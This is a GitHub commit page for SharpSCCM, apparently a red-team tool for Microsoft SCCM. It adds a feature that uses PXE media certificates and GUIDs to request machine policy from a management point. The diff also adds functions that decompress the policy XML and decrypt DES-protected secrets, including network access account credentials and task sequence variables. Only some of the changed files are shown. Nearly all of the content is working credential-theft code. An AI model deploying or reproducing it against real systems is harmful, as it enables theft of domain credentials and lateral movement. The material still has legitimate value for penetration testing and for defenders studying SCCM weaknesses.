Skip to content

Commit

Permalink
Merge pull request #28 from csandker/main
Browse files Browse the repository at this point in the history
Get secrets via PXE media certificates
  • Loading branch information
Mayyhem committed May 18, 2023
2 parents 203d63c + 4f7bee3 commit 9c4ff43
Show file tree
Hide file tree
Showing 6 changed files with 778 additions and 83 deletions.
23 changes: 16 additions & 7 deletions Program.cs
Original file line number Diff line number Diff line change
Expand Up @@ -447,47 +447,56 @@ static void Main(string[] args)

// get secrets
var getSecretsFromPolicy = new Command("secrets", "Request the machine policy from a management point via HTTP to obtain credentials for network access accounts, collection variables, and task sequences\n" +
" Requirements:\n" +
" Requirements:\n" +
" - Domain computer account credentials\n" +
" OR\n" +
" - Local Administrators group membership on a client");
" - Local Administrators group membership on a client\n" +
" OR\n" +
" - PXE certificate and media GUID (use -c and -m)");
// get naa alias for backward compatibility
getSecretsFromPolicy.AddAlias("naa");
getCommand.Add(getSecretsFromPolicy);
getSecretsFromPolicy.Add(new Option<string>(new[] { "--certificate", "-c" }, "The encoded X509 certificate blob to use that corresponds to a previously registered device"));
getSecretsFromPolicy.Add(new Option<string>(new[] { "--client-id", "-i" }, "The SMS client GUID to use that corresponds to a previously registered device and certificate"));
getSecretsFromPolicy.Add(new Option<string>(new[] { "--media-id", "-m" }, "The media GUID that corresponds to a specific package (e.g. PXE images), which is used decrypt the provided certificate and to sign policy requests"));
getSecretsFromPolicy.Add(new Option<string>(new[] { "--output-file", "-o" }, "The path where the policy XML will be written to"));
getSecretsFromPolicy.Add(new Option<string>(new[] { "--password", "-p" }, "The password for the specified computer account"));
getSecretsFromPolicy.Add(new Option<string>(new[] { "--register-client", "-r" }, "The name of the device to register as a new client (required when user is not a local administrator)"));
getSecretsFromPolicy.Add(new Option<string>(new[] { "--username", "-u" }, "The name of the computer account to register the new device record with, including the trailing \"$\""));

getSecretsFromPolicy.Handler = CommandHandler.Create(
(string managementPoint, string siteCode, string certificate, string clientId, string outputFile, string password, string registerClient, string username) =>
(string managementPoint, string siteCode, string certificate, string clientId, string mediaId, string outputFile, string password, string registerClient, string username) =>
{
if (managementPoint == null || siteCode == null)
{
(managementPoint, siteCode) = ClientWmi.GetCurrentManagementPointAndSiteCode();
}
if (!string.IsNullOrEmpty(managementPoint) && !string.IsNullOrEmpty(siteCode))
{
if (!string.IsNullOrEmpty(certificate) && !string.IsNullOrEmpty(clientId))
if (!string.IsNullOrEmpty(certificate) && !string.IsNullOrEmpty(mediaId))
{
string szHTTPProxyAddress = null;
MgmtPointMessaging.SendPolicyAssignmentRequestWithExplicitData(clientId, mediaId, certificate, managementPoint, siteCode, szHTTPProxyAddress);
}
else if (!string.IsNullOrEmpty(certificate) && !string.IsNullOrEmpty(clientId))
{
MgmtPointMessaging.GetSecretsFromPolicy(managementPoint, siteCode, certificate, clientId, null, null, null, outputFile);
MgmtPointMessaging.GetSecretsFromPolicies(managementPoint, siteCode, certificate, clientId, null, null, null, outputFile);
}
else if (!string.IsNullOrEmpty(certificate) && string.IsNullOrEmpty(clientId) || string.IsNullOrEmpty(certificate) && !string.IsNullOrEmpty(clientId))
{
Console.WriteLine("[!] Both a certificate (-c) and SMS client GUID (-i) for a previously registered client must be specified when using this option");
}
else if (!string.IsNullOrEmpty(username) && !string.IsNullOrEmpty(password) && !string.IsNullOrEmpty(registerClient))
{
MgmtPointMessaging.GetSecretsFromPolicy(managementPoint, siteCode, null, null, username, password, registerClient, outputFile);
MgmtPointMessaging.GetSecretsFromPolicies(managementPoint, siteCode, null, null, username, password, registerClient, outputFile);
}
else if (!string.IsNullOrEmpty(registerClient) && (string.IsNullOrEmpty(username) || string.IsNullOrEmpty(password)))
{
Console.WriteLine("[!] Both a computer account name (-u) and computer account password (-p) must be specified when using the register client (-r) option");
}
else if (Helpers.IsHighIntegrity())
{
MgmtPointMessaging.GetSecretsFromPolicy(managementPoint, siteCode, certificate, clientId, username, password, registerClient, outputFile);
MgmtPointMessaging.GetSecretsFromPolicies(managementPoint, siteCode, certificate, clientId, username, password, registerClient, outputFile);
}
else
{
Expand Down
13 changes: 9 additions & 4 deletions SharpSCCM.csproj
Original file line number Diff line number Diff line change
@@ -1,4 +1,4 @@
<?xml version="1.0" encoding="utf-8"?>
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Import Project="packages\ILMerge.3.0.41\build\ILMerge.props" Condition="Exists('packages\ILMerge.3.0.41\build\ILMerge.props')" />
<Import Project="$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props" Condition="Exists('$(MSBuildExtensionsPath)\$(MSBuildToolsVersion)\Microsoft.Common.props')" />
Expand Down Expand Up @@ -97,6 +97,9 @@
<Reference Include="System.Memory, Version=4.0.1.1, Culture=neutral, PublicKeyToken=cc7b13ffcd2ddd51, processorArchitecture=MSIL">
<HintPath>packages\System.Memory.4.5.4\lib\net461\System.Memory.dll</HintPath>
</Reference>
<Reference Include="System.Net.Http.Formatting">
<HintPath>..\..\Downloads\microsoft.aspnet.webapi.client.5.2.9\lib\net45\System.Net.Http.Formatting.dll</HintPath>
</Reference>
<Reference Include="System.Numerics" />
<Reference Include="System.Numerics.Vectors, Version=4.1.4.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a, processorArchitecture=MSIL">
<HintPath>packages\System.Numerics.Vectors.4.5.0\lib\net46\System.Numerics.Vectors.dll</HintPath>
Expand All @@ -115,7 +118,9 @@
<Reference Include="System.Data.DataSetExtensions" />
<Reference Include="Microsoft.CSharp" />
<Reference Include="System.Data" />
<Reference Include="System.Net.Http" />
<Reference Include="System.Net.Http">
<Private>False</Private>
</Reference>
<Reference Include="System.Xml" />
</ItemGroup>
<ItemGroup>
Expand Down Expand Up @@ -160,6 +165,6 @@
<Error Condition="!Exists('packages\ILMerge.3.0.41\build\ILMerge.props')" Text="$([System.String]::Format('$(ErrorText)', 'packages\ILMerge.3.0.41\build\ILMerge.props'))" />
</Target>
<PropertyGroup>
<PostBuildEvent>$(ProjectDir)packages\ILMerge.3.0.41\tools\net452\ILMerge.exe $(TargetPath) $(TargetDir)System.CommandLine.dll $(TargetDir)System.CommandLine.NamingConventionBinder.dll $(TargetDir)System.Runtime.CompilerServices.Unsafe.dll $(TargetDir)System.Memory.dll $(TargetDir)Microsoft.ConfigurationManagement.Messaging.dll $(TargetDir)Microsoft.ConfigurationManagement.Security.Cryptography.dll $(TargetDir)Newtonsoft.Json.dll /out:$(TargetDir)SharpSCCM_merged.exe</PostBuildEvent>
<PostBuildEvent>$(ProjectDir)packages\ILMerge.3.0.41\tools\net452\ILMerge.exe $(TargetPath) $(TargetDir)System.CommandLine.dll $(TargetDir)System.CommandLine.NamingConventionBinder.dll $(TargetDir)System.Runtime.CompilerServices.Unsafe.dll $(TargetDir)System.Memory.dll $(TargetDir)Microsoft.ConfigurationManagement.Messaging.dll $(TargetDir)Microsoft.ConfigurationManagement.Security.Cryptography.dll $(TargetDir)Newtonsoft.Json.dll $(TargetDir)System.Net.Http.Formatting.dll /out:$(TargetDir)SharpSCCM_merged.exe</PostBuildEvent>
</PropertyGroup>
</Project>
</Project>
66 changes: 66 additions & 0 deletions lib/Crypto.cs
Original file line number Diff line number Diff line change
Expand Up @@ -196,5 +196,71 @@ public static byte[] LSAAESDecrypt(byte[] key, byte[] data)

return plaintext;
}


// Based on https://github.com/Mayyhem/SharpSCCM/blob/main/DeobfuscateSecretString/DeobfuscateSecretString.cpp
// Ported to C#
public static bool DecryptDESBuffer(byte[] key, DESEncGarbledDataTHeaderInfo header, byte[] encryptedData, out byte[] plainData)
{
bool bSuccess = false;
IntPtr hProv = IntPtr.Zero;
IntPtr hHash = IntPtr.Zero;
IntPtr hKey = IntPtr.Zero;
plainData = new byte[0];
try
{
const int PROV_RSA_AES = 24; // https://learn.microsoft.com/en-us/windows/win32/seccrypto/prov-rsa-aes
const uint CRYPT_VERIFYCONTEXT = 0xF0000000; // https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptacquirecontexta
//public const int CALG_SHA = 32772;
if (Interop.CryptAcquireContext(out hProv, null, null, PROV_RSA_AES, CRYPT_VERIFYCONTEXT))
{
if (Interop.CryptCreateHash(hProv, (uint)Interop.CryptAlg.CALG_SHA, IntPtr.Zero, 0, out hHash))
{
if (Interop.CryptHashData(hHash, key, (uint)key.Length, 0))
{
// In our testing header.nAlgorithm was CALG_3DES (e.g. 0x6603)
if (Interop.CryptDeriveKey(hProv, (uint)header.nAlgorithm, hHash, (uint)header.nFlag, out hKey))
{
IntPtr pData = System.Runtime.InteropServices.Marshal.AllocHGlobal(encryptedData.Length);
//IntPtr ptrPlainData = Marshal.AllocHGlobal(100000);
System.Runtime.InteropServices.Marshal.Copy(encryptedData, 0, pData, encryptedData.Length);
uint dwDecryptedLen = (uint)header.nPlainSize;
plainData = new byte[dwDecryptedLen];
if (Interop.CryptDecrypt(hKey, IntPtr.Zero, true, 0, pData, ref dwDecryptedLen))
{
System.Runtime.InteropServices.Marshal.Copy(pData, plainData, 0, (int)dwDecryptedLen);
bSuccess = true;
}
Interop.CryptDestroyKey(hKey);
System.Runtime.InteropServices.Marshal.FreeHGlobal(pData);
}
}
Interop.CryptDestroyHash(hHash);
}
Interop.CryptReleaseContext(hProv, 0);
}
}
catch (Exception ex)
{
// Handle any exceptions here
}
finally
{
if (hKey != IntPtr.Zero)
{
Interop.CryptDestroyKey(hKey);
}
if (hHash != IntPtr.Zero)
{
Interop.CryptDestroyHash(hHash);
}
if (hProv != IntPtr.Zero)
{
Interop.CryptReleaseContext(hProv, 0);
}
}

return bSuccess;
}
}
}
105 changes: 104 additions & 1 deletion lib/Helpers.cs
Original file line number Diff line number Diff line change
Expand Up @@ -57,7 +57,7 @@ public static string EscapeBackslashes(string theString)
{
theString = theString.Replace(@"\", @"\\");
}
return theString;
return theString;
}

static bool IsEmptyLocate<T>(T[] array, T[] candidate)
Expand Down Expand Up @@ -314,5 +314,108 @@ public static byte[] GetRegKeyValue(string keyPath)

return data;
}

public static void DecompressXMLNodes(System.Xml.XmlNode xmlNode)
{
System.Xml.XmlNodeList compressionNodesList = xmlNode.SelectNodes("*[@Compression]");
if (compressionNodesList != null)
{
foreach (System.Xml.XmlNode compressionNode in compressionNodesList)
{
if (compressionNode.Attributes["Compression"].Value == "zlib")
{
string compressedData = compressionNode.InnerText;
byte[] compressedDataBytes = Helpers.StringToByteArray(compressedData);
byte[] decompressedBytes;
using (MemoryStream outputStream = new MemoryStream())
{
using (MemoryStream inputStream = new MemoryStream(compressedDataBytes))
{
using (var decompressionStream = new System.IO.Compression.GZipStream(inputStream, System.IO.Compression.CompressionMode.Decompress))
{
decompressionStream.CopyTo(outputStream);
}
}
decompressedBytes = outputStream.ToArray();
}
string szDecompressedStr = "";

//bool isUnicode = Helpers.IsUnicode(decompressedBytes);
if (decompressedBytes[0] == 0xFF && decompressedBytes[1] == 0xFE)
{
byte[] decompressedXMLBytes = new byte[decompressedBytes.Length - 2];
Array.Copy(decompressedBytes, 2, decompressedXMLBytes, 0, decompressedBytes.Length - 2);
szDecompressedStr = System.Text.Encoding.Unicode.GetString(decompressedXMLBytes);
}
// Update node content
if (szDecompressedStr.Length > 0)
{
// remove "\r", "\n", "\t", etc.
string szCleanedXmlStr = new string(szDecompressedStr.Where(c => !char.IsControl(c)).ToArray());
compressionNode.InnerXml = szCleanedXmlStr;
// Recursive decompress
foreach (System.Xml.XmlNode childNode in compressionNode.ChildNodes)
{
Helpers.DecompressXMLNodes(childNode);
}
}
}
}
}
}

public static bool DecryptDESSecret(string szEncData, out string szDecData)
{
bool bSuccess = false;
int iEncBytesSize;
byte[] abyEncBytes;
szDecData = "";
try
{
// Convert string to byte array
Interop.CryptStringToBinaryW(szEncData, szEncData.Length, Interop.CryptStringToBinaryFlags.Hex, null, out iEncBytesSize, IntPtr.Zero, IntPtr.Zero);
abyEncBytes = new byte[iEncBytesSize];
Interop.CryptStringToBinaryW(szEncData, szEncData.Length, Interop.CryptStringToBinaryFlags.Hex, abyEncBytes, out iEncBytesSize, IntPtr.Zero, IntPtr.Zero);

// This would also work, but the interop might be safer
//byte[] abyEncBytes = Helper.StringToByteArray(szEncData);
}
catch (Exception ex)
{
// catch exception
return false;
}


IntPtr pGarbledPtr = Marshal.AllocHGlobal(iEncBytesSize);
byte[] abyDecData;
try
{
// Copy the memory buffer to pGarbledPtr and marshal
Marshal.Copy(abyEncBytes, 0, pGarbledPtr, abyEncBytes.Length);
DESEncGarbledData garbledData = Marshal.PtrToStructure<DESEncGarbledData>(pGarbledPtr);

// Workaround to solve marshalling of unknown size array
// iSizeOfGarbledData= iSizeOfGarbledData - sizeOf(GarbledData.dwVersion) - sizeOf(GarbledData.key) - sizeOf(GarbledData.THeaderInfo)
int iPDataOffset = 4 + 40 + 20;
byte[] pDataArray = new byte[iEncBytesSize - iPDataOffset];
Array.Copy(abyEncBytes, iPDataOffset, pDataArray, 0, pDataArray.Length);
garbledData.pData = pDataArray;

// decrypt
bool decryptSucc = Crypto.DecryptDESBuffer(garbledData.key, garbledData.header, garbledData.pData, out abyDecData);
if (decryptSucc)
{
szDecData = System.Text.Encoding.Unicode.GetString(abyDecData).Trim();
bSuccess = true;
}
}
finally
{
// Free the allocated memory
Marshal.FreeHGlobal(pGarbledPtr);
}
return bSuccess;
}
}
}
Loading

0 comments on commit 9c4ff43

Please sign in to comment.